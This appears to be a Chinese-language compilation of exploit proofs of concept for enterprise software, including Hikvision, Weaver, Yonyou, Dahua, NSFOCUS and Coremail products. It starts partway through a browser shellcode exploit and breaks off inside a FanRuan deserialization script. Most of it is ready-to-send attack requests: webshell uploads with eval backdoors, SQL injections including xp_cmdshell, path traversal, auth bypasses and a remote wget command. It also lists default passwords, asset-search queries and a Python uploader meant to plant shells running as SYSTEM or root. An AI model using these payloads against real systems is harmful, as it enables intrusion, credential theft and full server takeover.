0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,
0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,
0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,
0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,
0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,
0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,
0x00]);
for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

11、汉得SRM tomcat.jsp 登录绕过漏洞 POC

/tomcat.jsp?dataName=role_id&dataValue=1

/tomcat.jsp?dataName=user_id&dataValue=1

然后访问后台：/main.screen

12、广联达oa 后台文件上传漏洞 POC

POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: 10.10.10.1:8888
X-Requested-With: Ext.basex
Accept: text/html, application/xhtml+xml, image/jxr, /
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: /
Origin: http://10.10.10.1
Referer: http://10.10.10.1:8888/Workflow/Workflow.aspx?configID=774d99d7-02bf-42ec-9e27-caeaa699f512&menuitemid=120743&frame=1&modulecode=GTP.Workflow.TaskCenterModule&tabID=40
Cookie: 
Connection: close
Content-Length: 421

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text

<%@ Page Language="Jscript" Debug=true%>
<%
var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD';
var GFMA=Request.Form("qmq1");
var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
eval(GFMA, ONOQ);
%>

------WebKitFormBoundaryFfJZ4PlAZBixjELj--

13、泛微Ecology未授权

POST /OfficeServer HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK
Content-Length: 204

------WebKitFormBoundarymVk33liI64J7GQaK
Content-Disposition: form-data; name="aaa"

{'OPTION':'INSERTIMAGE','isInsertImageNew':'1','imagefileid4pic':'100'}
------WebKitFormBoundarymVk33liI64J7GQaK—

14、泛微E-Office9文件上传漏洞 CVE-2023-2648 POC

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: 192.168.233.10:8082
User-Agent: test
Connection: close
Content-Length: 493
Accept-Encoding: gzip
Content-Type: multipart/form-data

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Filedata"; filename="666.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

CVE-2023-2523

POST /Emobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
Host:192.168.233.10:8082
Cache-Control:max-age=0
Upgrade-Insecure-Requests:1
Origin:null
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Accept-Encoding:gzip, deflate
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection:close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
Content-Type:image/jpeg
<?phpphpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

15、某微E-Office9文件上传漏洞 CVE-2023-2523 POC

POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1 
Host:192.168.233.10:8082  
Cache-Control:max-age=0  
Upgrade-Insecure-Requests:1  
Origin:null  
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt  
Accept-Encoding:gzip, deflate
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection:close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
Content-Type:image/jpeg
<?phpphpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

16、某信景云终端安全管理系统 login SQL注入漏洞 POC

POST /api/user/login

captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='

17、安恒明御运维审计与风险控制系统堡垒机任意用户注册

POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
Host: xxx
Cookie: LANG=zh; USM=0a0e1f29d69f4b9185430328b44ad990832935dbf1b90b8769d297dd9f0eb848
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 1121

<?xml version="1.0"?>
<methodCall>
<methodName>web.user_add</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<string>admin</string>
</value>
<value>
<string>5</string>
</value>
<value>
<string>XX.XX.XX.XX</string>
</value>
</data>
</array>
</value>
</param>
<param>
<value>
<struct>
<member>
<name>uname</name>
<value>
<string>deptadmin</string>
</value>
</member>
<member>
<name>name</name>
<value>
<string>deptadmin</string>
</value>
</member>
<member>
<name>pwd</name>
<value>
<string>Deptadmin@123</string>
</value>
</member>
<member>
<name>authmode</name>
<value>
<string>1</string>
</value>
</member>
<member>
<name>deptid</name>
<value>
<string></string>
</value>
</member>
<member>
<name>email</name>
<value>
<string></string>
</value>
</member>
<member>
<name>mobile</name>
<value>
<string></string>
</value>
</member>
<member>
<name>comment</name>
<value>
<string></string>
</value>
</member>
<member>
<name>roleid</name>
<value>
<string>101</string>
</value>
</member>
</struct></value>
</param>
</params>
</methodCall>

18、HiKVISION 综合安防管理平台 report 任意文件上传漏洞 POC

fofa查询语句
icon_hash=“-808437027” app=“HIKVISION-iSecure-Center”

EXP/POC：payload.py 脚本走127.0.0.1:8080 代理，方便burpsuit抓包。

#!usr/bin/env python
# - coding:utf-8 *-*
import sys
import requests
import string
import random
import urllib3
urllib3.disable_warnings()

proxies = {
    'http': 'http://127.0.0.1:8080', 
    'https': 'http://127.0.0.1:8080', #127.0.0.1:8080 代理，方便burpsuit抓包
}

def run(arg):
    try:
        flag=''.join(random.choices(string.ascii_uppercase + string.digits, k = 9))
        filename=''.join(random.choices(string.ascii_uppercase + string.digits, k = 10))
        vuln_url=arg+"center/api/files;.js"
        headers={'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
                 'Accept': '*/*',
                 'Content-Type': 'application/x-www-form-urlencoded'}
        file = {'file': (f'../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{filename}.txt', flag, 'application/octet-stream')}
        r = requests.post(vuln_url, files=file, timeout=15, verify=False, proxies=proxies)
        if r.status_code==200 and "webapps/clusterMgr" in r.text:

            payload=f"clusterMgr/{filename}.txt;.js"
            url=arg+payload
            r2 = requests.get(url, timeout=15, verify=False, proxies=proxies)
            if r2.status_code==200 and flag in r2.text:

                print('\033[1;31;40m')
                print(arg+f":存在海康威视isecure center 综合安防管理平台存在任意文件上传漏洞\nshell地址：{url}")
                print('\033[0m')



        else:
            print(arg+":不存在漏洞")
    except:
        print(arg+":不存在漏洞")


if name == '__main__':
    url=sys.argv[1]
    run(url)

burpsuit抓包分析

burpsuit 127.0.0.1:8080抓包，抓取post 包一个，get 请求包一个。 payload：请求数据包


POST /center/api/files;.js HTTP/1.1
Host: x.x.x.x
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 258
Content-Type: multipart/form-data; boundary=e54e7e5834c8c50e92189959fe7227a4

--e54e7e5834c8c50e92189959fe7227a4
Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/2BT5AV96QW.txt"
Content-Type: application/octet-stream

9YPQ3I3ZS
--e54e7e5834c8c50e92189959fe7227a4--

payload的返回数据包。

HTTP/1.1 200 
Server: openresty/1.13.6.2
Date: Fri, 14 Jul 2023 04:35:23 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 335
Connection: close
Set-Cookie: JSESSIONID=0A235873FB1C02C345345C0D36A4C709; Path=/center; HttpOnly
Content-Language: en_US
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Disposition: inline;filename=f.txt

{"code":"0","data":{"filename":"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/

访问漏洞链接：https://x.x.x.x/clusterMgr/2BT5AV96QW.txt;.js ，查看是否上传成功。

因为Hikvision平台使用的中间件为tomcat，修改报文和文件名，所以实现上传哥斯拉生成jsp。宿主服务器windows和linux都可使用。windows 拿到的账户是system账户，linux为root。 Hikvision账户管理密码的后渗透操作：海康威视综合安防后渗透利用技巧

POC2

POST /center/api/files;.html HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip

<%jsp的马%>
------WebKitFormBoundary9PggsiM755PLa54a--

report 任意文件上传漏洞

POST /svm/api/external/report HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip

<%jsp的马%>

------WebKitFormBoundary9PggsiM755PLa54a--

马儿路径：/portal/ui/login/..;/..;/new.jsp

19、HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC

POST /center/api/files;.html HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip

<%jsp的马%>
------WebKitFormBoundary9PggsiM755PLa54a--

20、Exchange Server远程代码执行漏洞（CVE-2023-38182）风险通告

待补充poc exp
描述和影响范围
Exchange Server 2019 Cumulative Update 13
Exchange Server 2019 Cumulative Update 12
Exchange Server 2019 Cumulative Update 11
Exchange Server 2016 Cumulative Update 23
需要有普通用户权限

21、Coremail远程代码执行漏洞（官方已辟谣）

22、某微 E-Cology 某版本 SQL注入漏洞 POC

POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
Host: ip:port 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Connection: close 

Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

callCount=1
page=
httpSessionId=
scriptSessionId=
c0-scriptName=DocDwrUtil
c0-methodName=ifNewsCheckOutByCurrentUser
c0-id=0
c0-param0=string:1 AND 1=1
c0-param1=string:1
batchId=0

23、某和OA C6-GetSqlData.aspx SQL注入漏洞 POC

POST /C6/Control/GetSqlData.aspx/.ashx
Host: ip:port 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Connection: close
Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

exec master..xp_cmdshell 'ipconfig'

24、大华智慧园区综合管理平台 searchJson SQL注入漏洞 POC

GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

25、大华智慧园区综合管理平台文件上传漏洞 POC

POST /publishing/publishing/material/file/video HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 804
Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
Accept-Encoding: gzip, deflate
Connection: close

--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="Filedata"; filename="0EaE10E7dF5F10C2.jsp"

<%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%><%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 = MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan = s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1, md5.digest()).toString(16);out.println(md5String);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="poc"

poc
--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="Submit"

submit
--dd8f988919484abab3816881c55272a7--

26、某友时空KSOA PayBill SQL注入漏洞 POC

POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 134
Accept-Encoding: gzip, deflate
Connection: close

<?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';-</name><name>1</name><name>102360</name></root>

27、绿盟 SAS堡垒机 local_user.php 任意用户登录漏洞 POC

GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

28、某盟 SAS堡垒机 GetFile 任意文件读取漏洞 POC

待补充

29、绿盟 SAS堡垒机 Exec 远程命令执行漏洞 POC

GET /webconf/Exec/index?cmd=wget%20xxx.xxx.xxx HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

30、某友移动管理系统 uploadApk.do 任意文件上传漏洞

POST /maportal/appmanager/uploadApk.do?pk_obj=0001A1100000000H66QB HTTP/1.1 
Host: 127.0.0.1:8080 
Content-Length: 198 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server 
Connection: close 

------WebKitFormBoundaryvLTG6zlX0gZ8LzO3 
Content-Disposition: form-data; name="downloadpath"; filename="a.jsp" 
Content-Type: application/msword 

hello 
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

31、启明天钥安全网关前台sql注入

天钥默认账号密码:
sysuseradmin/ sua_password$123
sysauditor/ sa_password$123
sysadmin/password$123
sysadmin1/sysadmin111111

POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
Host: ****
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: ****
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
checkname=123&tagid=123

sqlmap -u "https://****/ops/index.php?c=Reportguide&a=checkrn" --data "checkname=123&tagid=123" -v3 --skip-waf --random-agent

32、用友M1server反序列化命令执行漏洞

漏洞描述：

M1移动协同是针对管理者、高端商务人士、长期在外走访客户的业务人员以及日常外出的行业者而打造的协同应用。该应用平台存在反序列化漏洞，攻击者构造恶意包可以执行任意命令获取服务器权限

POC待补充

33、启明星辰-4A 统一安全管控平台 getMater 信息泄漏

漏洞描述：

启明星辰集团4A统一安全管控平台实现IT资源集中管理,为企业提供集中的账号、认证、授权、审计管理技术支撑及配套流程,提升系统安全性和可管理能力。可获取相关人员敏感信息。

poc:
  relative: req0
  session: false
  requests:
  - method: GET
    timeout: 10
    path: /accountApi/getMaster.do
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
        like Gecko) Chrome/65.0.881.36 Safari/537.36
    follow_redirects: true
    matches: (code.eq("200") && body.contains("\"state\":true"))

修复建议：
限制文件访问

34、锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露

漏洞描述：锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露漏洞

批量扫描工具：https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL

GET /EXCU_SHELL HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.2852.74 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Cmdnum: '1'
Command1: show running-config
Confirm1: n

35、科荣 AIO 管理系统存在文件读取漏洞

漏洞描述：

科荣AIO企业一体化管理解决方案,通过ERP（进销存财务）、OA（办公自动化）、CRM（客户关系管理）、UDP（自定义平台），集电子商务平台、支付平台、ERP平台、微信平台、移动APP等解决了众多企业客户在管理过程中跨部门、多功能、需求多变等通用及个性化的问题。科荣 AIO 管理系统存在文件读取漏洞，攻击者可以读取敏感文件。

POC待补充

36、飞企互联 FE 业务协作平台 magePath 参数文件读取漏洞

漏洞描述：
FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。
漏洞影响  ：
飞企互联 FE业务协作平台  

网络测绘：
“flyrise.stopBackspace.js”

漏洞复现 ：
 登陆页面

验证POC
/servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print

37、用友GRP-U8存在信息泄露

漏洞描述：友U8系统存可直接访问log日志，泄露敏感信息
批量扫描工具:https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E7%94%A8%E5%8F%8BGRP-U8
GET /logs/info.log HTTP/1.1

38、nginx配置错误导致的路径穿越风险

漏洞自查PoC如下：
https://github.com/hakaioffsec/navgix
该漏洞非0day，是一个路径穿越漏洞，可以直接读取nginx后台服务器文件。
有多家重点金融企业已中招，建议尽快进行自查。

39、红帆OA zyy_AttFile.asmx SQL注入漏洞

POC：

POST /ioffice/prg/interface/zyy_AttFile.asmx HTTP/1.1
Host: 10.250.250.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 383
Content-Type: text/xml; charset=utf-8
Soapaction: "http://tempuri.org/GetFileAtt"
Accept-Encoding: gzip, deflate
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetFileAtt
xmlns="http://tempuri.org/"><fileName>123</fileName></GetFileAtt> </soap:Body></so
ap:Envelope>

修复方法
官方已发布安全修复版本，请升级至官网最新版本
https://www.ioffice.cn/

40、Coremail 邮件系统未授权访问获取管理员账密

POC：
/coremail/common/assets/:/:/:/:/:/:/s?
biz=Mzl3MTk4NTcyNw==&mid=2247485877&idx=1&sn=7e5f77db320ccf9013c0b7aa7262
6688chksm=eb3834e5dc4fbdf3a9529734de7e6958e1b7efabecd1c1b340c53c80299ff5c688b
f6adaed61&scene=2

41、Milesight VPN server.js 任意文件读取漏洞

POC:
GET /../etc/passwd HTTP/1.1
Host:
Accept: */*
Content-Type: application/x-www-form-urlencoded

42、PigCMS action_flashUpload 任意文件上传漏洞

POC:
POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload
HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa
------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv
<?php phpinfo();?>
------aaa
/cms/upload/images/2023/08/11/1691722887xXbx.php

43、绿盟 NF 下一代防火墙任意文件上传漏洞

POC:
POST /api/v1/device/bugsInfo HTTP/1.1
Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef
Host:
--4803b59d015026999b45993b1245f0ef
Content-Disposition: form-data; name="file"; filename="compose.php"
<?php eval($_POST['cmd']);?>
--4803b59d015026999b45993b1245f0ef--

POST /mail/include/header_main.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71
Host:
cmd=phpinfo();

44、金盘图书馆微信管理后台 getsysteminfo 未授权访问漏洞

POC: /admin/weichatcfg/getsysteminfo

漏洞描述：北京金盘鹏图软件技术有限公司的金盘图书馆微信管理后台 getsysteminfo 存在未授权访问漏洞
漏洞危害：获取管理员账号密码等敏感数据，导致攻击者能以管理员身份进入系统窃取敏感信息和危险操作
修复方法:
官方已发布安全修复版本，请升级至官网最新版本 http://goldlib.com.cn/

45、Panel loadfile 后台文件读取漏洞

POC:
POST /api/v1/file/loadfile {"paht":"/etc/passwd"}

46、网御 ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞

POC:
/bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23

漏洞复现
登录页面

47、广联达 Linkworks GetIMDictionarySQL 注入漏洞

POC: POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded

key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

48、用友文件服务器认证绕过

资产搜索：
app="用友-NC-Cloud"   或者是app="用友-NC-Cloud" && server=="Apache-Coyote/1.1"

POST数据包修改返回包 false改成ture就可以绕过登陆

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Thu, 10 Aug 2023 20:38:25 GMT
Connection: close
Content-Length: 17

{"login":"false"}

49、华天动力oa SQL注入

访问
http://xxxx//report/reportJsp/showReport.jsp?raq=%2FJourTemp2.raq&reportParamsId=100xxx

然后抓包
POST /report/reportServlet?action=8 HTTP/1.1
Host: xxxx
Content-Length: 145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xxx/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxxx/report/reportJsp/showReport.jsp?raq=%2FJourTemp2.raq&reportParamsId=100xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D207AE96056400942620F09D34B8CDF3
Connection: close

year=*&userName=*&startDate=*&endDate=*&dutyRule=*&resultPage=%2FreportJsp%2FshowRepo

48、49漏洞来源于：https://mp.weixin.qq.com/s/hUig93-cSFtbioQpPSNZig

50、泛微 Weaver E-Office9 前台文件包含

http://URL/E-mobile/App/Init.php?weiApi=1&sessionkey=ee651bec023d0db0c233fcb562ec7673_admin&m=12344554_../../attachment/xxx.xls

51、企业微信（私有化版本）敏感信息泄露漏洞

紧急通知，长亭报出企业微信存在信息泄露0day！目前已在准备预警，请注意！
企业微信URL/cgi-bin/gateway/agentinfo
接口未授权情况下可直接获取企业微信secret等敏感信息
受影响版本：2.5.x、2.6.930000、以下；
不受影响：2.7.x、2.8.x、2.9.x；

危害：
1、可导致企业微信全量数据被获取、文件获取，
2、存在使用企业微信轻应用对内发送钓鱼文件和链接等风险。

修复方法：
1、在waf上设置一个规则，匹配到/cgi-bin/gateway/agentinfo路径的进行阻断；
2、联系厂家进行获取修复包；
3、官方通报及补丁地址

复现及漏洞详情分析：
第一步：，通过泄露信息接口可以获取corpid和corpsecret
https://<企业微信域名>/cgi-bin/gateway/agentinfo

第二步，使用corpsecret和corpid获得token
https://<企业微信域名>/cgi-bin/gettoken?corpid=ID&corpsecret=SECRET

第三步，使用token访问诸如企业通讯录信息，修改用户密码，发送消息，云盘等接口
https://<企业微信域名>/cgi-bin/user/get?access_token=ACCESS_TOKEN&userid=USERID

52、帆软报表系统漏洞威胁反序列化

情况说明：帆软报表系统（V10、V11及更早期版本）存在反序列化漏洞绕过、反序列化命令执行等高危漏洞，攻击者可利用上述漏洞获取系统权限。鉴于该漏洞影响范围较大，潜在危害程度极高，建议引起高度重视，通过官方发布的链接下载补丁，进行升级，消除安全隐患，提高安全防范能力。
漏洞详细信息: https://help.fanruan.com/finereport/doc-view-4833.html
补丁下载链接: http: //s.fanruan.com/3u6eo

#!/usr/bin/env python
# -*- conding:utf-8 -*-
# 帆软channel接口反序列化
# Author: SXdysq

import base64
import requests
import urllib3
import concurrent.futures

urllib3.disable_warnings()

headers = {
    "Pragma": "no-cache",
    "Cache-Control": "no-cache",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close",
}

def check(host):
    try:
        burp0_url = host + "/webroot/decision/remote/design/channel"
        req = requests.get(burp0_url, headers=headers, verify=False, timeout=3)
        if "method 'GET' not supported" in req.text:
            req = requests.post(burp0_url, headers=headers, verify=False, timeout=3)
            if "如需访问请联系管理员" not in req.text:
                cmd(host)
            else:
                print("[o]", host, "------不存在漏洞！")
        else:
            print("[o]", host, "------不存在漏洞！")
    except Exception as e:
        print("[o]", host, "------不存在漏洞！")

def cmd(host):
    try:
        burp0_url = host + "/webroot/decision/remote/design/channel"
        burp0_headers = {"Content-Type": "application/x-www-form-urlencoded", "Testdmc": "whoami", "Testecho": "TestEcho"}
